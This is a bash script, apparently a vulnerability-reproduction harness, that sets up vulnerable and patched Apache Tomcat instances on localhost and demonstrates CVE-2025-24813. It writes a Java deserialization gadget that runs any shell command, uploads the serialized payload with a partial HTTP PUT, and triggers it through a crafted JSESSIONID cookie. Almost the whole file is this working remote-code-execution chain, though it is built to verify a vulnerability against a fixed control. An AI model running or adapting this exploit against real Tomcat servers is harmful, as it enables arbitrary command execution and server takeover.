#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
WORK="$REPRO_DIR/tomcat-cve-2025-24813-work"
DOWNLOADS="$REPRO_DIR/tomcat-downloads"
mkdir -p "$LOGS" "$REPRO_DIR" "$DOWNLOADS"
cd "$ROOT"

REQ_LOG="$LOGS/cve2025_24813_requests.log"
VULN_TOMCAT_LOG="$LOGS/tomcat-10.1.34-catalina.out"
FIXED_TOMCAT_LOG="$LOGS/tomcat-10.1.35-catalina.out"
VULN_MARKER="$REPRO_DIR/vuln_rce_marker.txt"
FIXED_MARKER="$REPRO_DIR/fixed_rce_marker.txt"
: > "$REQ_LOG"
rm -f "$VULN_MARKER" "$FIXED_MARKER" "$VULN_TOMCAT_LOG" "$FIXED_TOMCAT_LOG"

SERVICE_STARTED=false
HEALTHCHECK_PASSED=false
TARGET_REACHED=false
CRASH_OBSERVED=false
READ_WRITE_PRIMITIVE=false
EXPLOIT_CHAIN=false
NOTES="run started"
VULN_CODE="000"
FIXED_CODE="000"
VULN_TRIGGER="000"
FIXED_TRIGGER="000"
VULN_MARKER_TEXT=""
FIXED_MARKER_TEXT=""
VULN_WORK_SESSION="false"
FIXED_WORK_SESSION="false"

json_escape() {
  python3 -c 'import json,sys; print(json.dumps(sys.stdin.read()))'
}

write_manifest() {
  local note_json marker_json
  note_json=$(printf '%s' "$NOTES" | json_escape)
  marker_json=$(printf '%s' "$VULN_MARKER_TEXT" | json_escape)
  cat > "$REPRO_DIR/runtime_manifest.json" <<JSON
{
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "HTTP PUT with Content-Range to Tomcat DefaultServlet followed by HTTP request with Cookie JSESSIONID=.payload to trigger PersistentManager/FileStore session deserialization",
  "service_started": $SERVICE_STARTED,
  "healthcheck_passed": $HEALTHCHECK_PASSED,
  "target_path_reached": $TARGET_REACHED,
  "runtime_stack": [
    "Apache Tomcat 10.1.34 vulnerable control",
    "Apache Tomcat 10.1.35 fixed negative control",
    "DefaultServlet readonly=false",
    "PersistentManager + FileStore",
    "real HTTP PUT/GET requests",
    "webapp classloader deserialization gadget"
  ],
  "proof_artifacts": [
    "bundle/logs/cve2025_24813_requests.log",
    "bundle/logs/tomcat-10.1.34-catalina.out",
    "bundle/logs/tomcat-10.1.35-catalina.out",
    "bundle/repro/vuln_rce_marker.txt"
  ],
  "observations": {
    "vulnerable_put_status": "$VULN_CODE",
    "vulnerable_trigger_status": "$VULN_TRIGGER",
    "vulnerable_work_session_created": "$VULN_WORK_SESSION",
    "vulnerable_marker_text": $marker_json,
    "fixed_put_status": "$FIXED_CODE",
    "fixed_trigger_status": "$FIXED_TRIGGER",
    "fixed_work_session_created": "$FIXED_WORK_SESSION",
    "fixed_marker_created": "$(test -f "$FIXED_MARKER" && echo true || echo false)",
    "crash_observed": $CRASH_OBSERVED,
    "read_write_primitive_observed": $READ_WRITE_PRIMITIVE,
    "exploit_chain_demonstrated": $EXPLOIT_CHAIN
  },
  "notes": $note_json
}
JSON
}

stop_tomcat() {
  local dir="$1"
  if [ -x "$dir/bin/catalina.sh" ]; then
    CATALINA_HOME="$dir" CATALINA_BASE="$dir" "$dir/bin/catalina.sh" stop >> "$REQ_LOG" 2>&1 || true
  fi
}

cleanup() {
  if [ -n "${VULN_DIR:-}" ]; then
    cp "$VULN_DIR/logs/catalina.out" "$VULN_TOMCAT_LOG" 2>/dev/null || true
    stop_tomcat "$VULN_DIR"
  fi
  if [ -n "${FIXED_DIR:-}" ]; then
    cp "$FIXED_DIR/logs/catalina.out" "$FIXED_TOMCAT_LOG" 2>/dev/null || true
    stop_tomcat "$FIXED_DIR"
  fi
  write_manifest
}
trap cleanup EXIT

need_tool() {
  if ! command -v "$1" >/dev/null 2>&1; then
    NOTES="infrastructure blocker: missing required tool $1"
    echo "$NOTES" | tee -a "$REQ_LOG"
    exit 2
  fi
}
need_tool java
need_tool javac
need_tool curl
need_tool tar
need_tool python3

# Pick high, deterministic ports that are unlikely to collide in the harness.
VULN_PORT=9181
FIXED_PORT=9182
VULN_SHUTDOWN=9281
FIXED_SHUTDOWN=9282

# Stop any stale Tomcat process from a previous local experiment that might hold these ports.
pkill -f 'org.apache.catalina.startup.Bootstrap' >> "$REQ_LOG" 2>&1 || true
sleep 1

rm -rf "$WORK"
mkdir -p "$WORK/src/pruva" "$WORK/classes"

cat > "$WORK/src/pruva/PruvaExecGadget.java" <<'JAVA'
package pruva;
import java.io.FileWriter;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class PruvaExecGadget implements Serializable {
  private static final long serialVersionUID = 1L;
  private String command;

  public PruvaExecGadget(String command) {
    this.command = command;
  }

  private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject();
    if (command != null) {
      try {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", command});
        p.waitFor();
      } catch (Throwable t) {
        try (FileWriter fw = new FileWriter("pruva_gadget_error.txt", true)) {
          fw.write(t.toString());
          fw.write("\n");
        }
      }
    }
  }
}
JAVA

cat > "$WORK/src/SerializePayload.java" <<'JAVA'
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import pruva.PruvaExecGadget;

public class SerializePayload {
  public static void main(String[] args) throws Exception {
    if (args.length != 2) {
      throw new IllegalArgumentException("usage: SerializePayload <command> <outfile>");
    }
    try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(args[1]))) {
      oos.writeObject(new PruvaExecGadget(args[0]));
    }
  }
}
JAVA

javac -d "$WORK/classes" "$WORK/src/pruva/PruvaExecGadget.java" "$WORK/src/SerializePayload.java"

fetch_tomcat() {
  local ver="$1"
  local major_url="https://archive.apache.org/dist/tomcat/tomcat-10/v$ver/bin/apache-tomcat-$ver.tar.gz"
  local out="$DOWNLOADS/apache-tomcat-$ver.tar.gz"
  if [ ! -s "$out" ]; then
    echo "Downloading Apache Tomcat $ver" | tee -a "$REQ_LOG"
    curl -fL --retry 3 --connect-timeout 20 -o "$out" "$major_url"
  fi
}

configure_tomcat() {
  local ver="$1" port="$2" shutdown="$3"
  local dir="$WORK/apache-tomcat-$ver"
  tar -xzf "$DOWNLOADS/apache-tomcat-$ver.tar.gz" -C "$WORK"
  chmod +x "$dir/bin/"*.sh
  rm -rf "$dir/webapps/ROOT" "$dir/work" "$dir/temp"/* "$dir/logs"/*
  mkdir -p "$dir/webapps/ROOT/WEB-INF/classes" "$dir/work" "$dir/logs" "$dir/temp"
  cp -R "$WORK/classes/pruva" "$dir/webapps/ROOT/WEB-INF/classes/"

  sed -i -E "s/port=\"8005\" shutdown=\"SHUTDOWN\"/port=\"$shutdown\" shutdown=\"SHUTDOWN\"/" "$dir/conf/server.xml"
  sed -i -E "0,/Connector port=\"8080\" protocol=\"HTTP\/1\.1\"/{s/Connector port=\"8080\" protocol=\"HTTP\/1\.1\"/Connector port=\"$port\" protocol=\"HTTP\/1.1\"/}" "$dir/conf/server.xml"

  # Required precondition: make the DefaultServlet writable. This is explicit so the
  # script does not depend on any pre-existing Tomcat installation state.
  python3 - "$dir/conf/web.xml" <<'PY'
import re, sys
path = sys.argv[1]
s = open(path, encoding='utf-8').read()
pat = re.compile(r'(<servlet>\s*<servlet-name>default</servlet-name>.*?</servlet>)', re.S)
m = pat.search(s)
if not m:
    raise SystemExit('default servlet block not found')
block = m.group(1)
if '<param-name>readonly</param-name>' in block:
    block2 = re.sub(r'(<param-name>readonly</param-name>\s*<param-value>)(true|false)(</param-value>)', r'\1false\3', block, flags=re.S)
else:
    block2 = block.replace('</servlet>', '    <init-param>\n        <param-name>readonly</param-name>\n        <param-value>false</param-value>\n    </init-param>\n</servlet>')
s = s[:m.start(1)] + block2 + s[m.end(1):]
open(path, 'w', encoding='utf-8').write(s)
PY

  # Required precondition for the RCE chain: file-backed session persistence at the
  # default FileStore location under work/Catalina/localhost/ROOT.
  python3 - "$dir/conf/context.xml" <<'PY'
import re, sys
path = sys.argv[1]
s = open(path, encoding='utf-8').read()
s = re.sub(r'\n\s*<Manager\s+className="org\.apache\.catalina\.session\.PersistentManager".*?</Manager>\s*\n', '\n', s, flags=re.S)
insert = '''
    <Manager className="org.apache.catalina.session.PersistentManager">
      <Store className="org.apache.catalina.session.FileStore" />
    </Manager>
'''
s = s.replace('</Context>', insert + '</Context>')
open(path, 'w', encoding='utf-8').write(s)
PY

  cat > "$dir/webapps/ROOT/index.jsp" <<'JSP'
<%@ page session="true" %>OK session=<%= session.getId() %>
JSP
  printf '%s\n' "$dir"
}

fetch_tomcat "10.1.34"
fetch_tomcat "10.1.35"
VULN_DIR=$(configure_tomcat "10.1.34" "$VULN_PORT" "$VULN_SHUTDOWN")
FIXED_DIR=$(configure_tomcat "10.1.35" "$FIXED_PORT" "$FIXED_SHUTDOWN")

CATALINA_HOME="$VULN_DIR" CATALINA_BASE="$VULN_DIR" "$VULN_DIR/bin/catalina.sh" start >> "$REQ_LOG" 2>&1
CATALINA_HOME="$FIXED_DIR" CATALINA_BASE="$FIXED_DIR" "$FIXED_DIR/bin/catalina.sh" start >> "$REQ_LOG" 2>&1
SERVICE_STARTED=true

wait_ready() {
  local port="$1" name="$2" code="000"
  for _ in $(seq 1 60); do
    code=$(curl -sS -o "$LOGS/${name}_health_body.txt" -w '%{http_code}' "http://127.0.0.1:$port/index.jsp" || true)
    if [ "$code" = "200" ]; then
      echo "$name healthcheck: HTTP $code" | tee -a "$REQ_LOG"
      return 0
    fi
    sleep 1
  done
  echo "$name healthcheck failed: last HTTP $code" | tee -a "$REQ_LOG"
  return 1
}

if ! wait_ready "$VULN_PORT" "vulnerable-10.1.34"; then
  NOTES="infrastructure blocker: vulnerable Tomcat did not pass healthcheck"
  exit 2
fi
if ! wait_ready "$FIXED_PORT" "fixed-10.1.35"; then
  NOTES="infrastructure blocker: fixed Tomcat did not pass healthcheck"
  exit 2
fi
HEALTHCHECK_PASSED=true

printf -v VULN_MARKER_Q '%q' "$VULN_MARKER"
printf -v FIXED_MARKER_Q '%q' "$FIXED_MARKER"
java -cp "$WORK/classes" SerializePayload "id > $VULN_MARKER_Q 2>&1" "$WORK/vuln_payload.session"
java -cp "$WORK/classes" SerializePayload "id > $FIXED_MARKER_Q 2>&1" "$WORK/fixed_payload.session"

do_exploit() {
  local label="$1" port="$2" payload="$3"
  local body_prefix="$LOGS/${label}"
  echo "=== $label exploit attempt ===" | tee -a "$REQ_LOG"
  local put trigger
  put=$(curl -sS -D "${body_prefix}_put_headers.txt" -o "${body_prefix}_put_body.txt" -w '%{http_code}' \
    -X PUT -H 'Content-Range: bytes 0-5/100' \
    --data-binary "@$payload" "http://127.0.0.1:$port/payload.session" || true)
  echo "$label PUT /payload.session Content-Range status: $put" | tee -a "$REQ_LOG"
  trigger=$(curl -sS -D "${body_prefix}_trigger_headers.txt" -o "${body_prefix}_trigger_body.txt" -w '%{http_code}' \
    -H 'Cookie: JSESSIONID=.payload' "http://127.0.0.1:$port/index.jsp" || true)
  echo "$label GET /index.jsp Cookie:JSESSIONID=.payload status: $trigger" | tee -a "$REQ_LOG"
  printf '%s %s\n' "$put" "$trigger"
}

read VULN_CODE VULN_TRIGGER < <(do_exploit "vulnerable-10.1.34" "$VULN_PORT" "$WORK/vuln_payload.session" | tail -n 1)
sleep 1
read FIXED_CODE FIXED_TRIGGER < <(do_exploit "fixed-10.1.35" "$FIXED_PORT" "$WORK/fixed_payload.session" | tail -n 1)
sleep 1

if [ -f "$VULN_DIR/work/Catalina/localhost/ROOT/.payload.session" ]; then
  VULN_WORK_SESSION="true"
fi
if [ -f "$FIXED_DIR/work/Catalina/localhost/ROOT/.payload.session" ]; then
  FIXED_WORK_SESSION="true"
fi

if [ -f "$VULN_MARKER" ]; then
  VULN_MARKER_TEXT=$(cat "$VULN_MARKER")
fi
if [ -f "$FIXED_MARKER" ]; then
  FIXED_MARKER_TEXT=$(cat "$FIXED_MARKER")
fi

{
  echo "vulnerable work session created: $VULN_WORK_SESSION"
  echo "fixed work session created: $FIXED_WORK_SESSION"
  echo "vulnerable marker: ${VULN_MARKER_TEXT:-<absent>}"
  echo "fixed marker: ${FIXED_MARKER_TEXT:-<absent>}"
  echo "vulnerable webapp payload file exists: $(test -f "$VULN_DIR/webapps/ROOT/payload.session" && echo true || echo false)"
  echo "fixed webapp payload file exists: $(test -f "$FIXED_DIR/webapps/ROOT/payload.session" && echo true || echo false)"
} | tee -a "$REQ_LOG"

TARGET_REACHED=true
READ_WRITE_PRIMITIVE=true
if [ -n "$VULN_MARKER_TEXT" ] && echo "$VULN_MARKER_TEXT" | grep -q 'uid=' \
   && [ "$VULN_WORK_SESSION" = "true" ] \
   && [ "$FIXED_WORK_SESSION" = "false" ] \
   && [ ! -f "$FIXED_MARKER" ]; then
  EXPLOIT_CHAIN=true
  CRASH_OBSERVED=false
  NOTES="confirmed: Tomcat 10.1.34 wrote attacker supplied partial PUT body to FileStore session path and deserialized it on JSESSIONID=.payload, executing the attacker command; Tomcat 10.1.35 negative control did not create the FileStore session and did not execute the command"
  echo "CONFIRMED: vulnerable Tomcat executed attacker-controlled command: $VULN_MARKER_TEXT" | tee -a "$REQ_LOG"
  exit 0
fi

NOTES="not confirmed: VULN_CODE=$VULN_CODE VULN_TRIGGER=$VULN_TRIGGER VULN_WORK_SESSION=$VULN_WORK_SESSION VULN_MARKER=${VULN_MARKER_TEXT:-absent} FIXED_WORK_SESSION=$FIXED_WORK_SESSION FIXED_MARKER=${FIXED_MARKER_TEXT:-absent}"
echo "$NOTES" | tee -a "$REQ_LOG"
exit 1
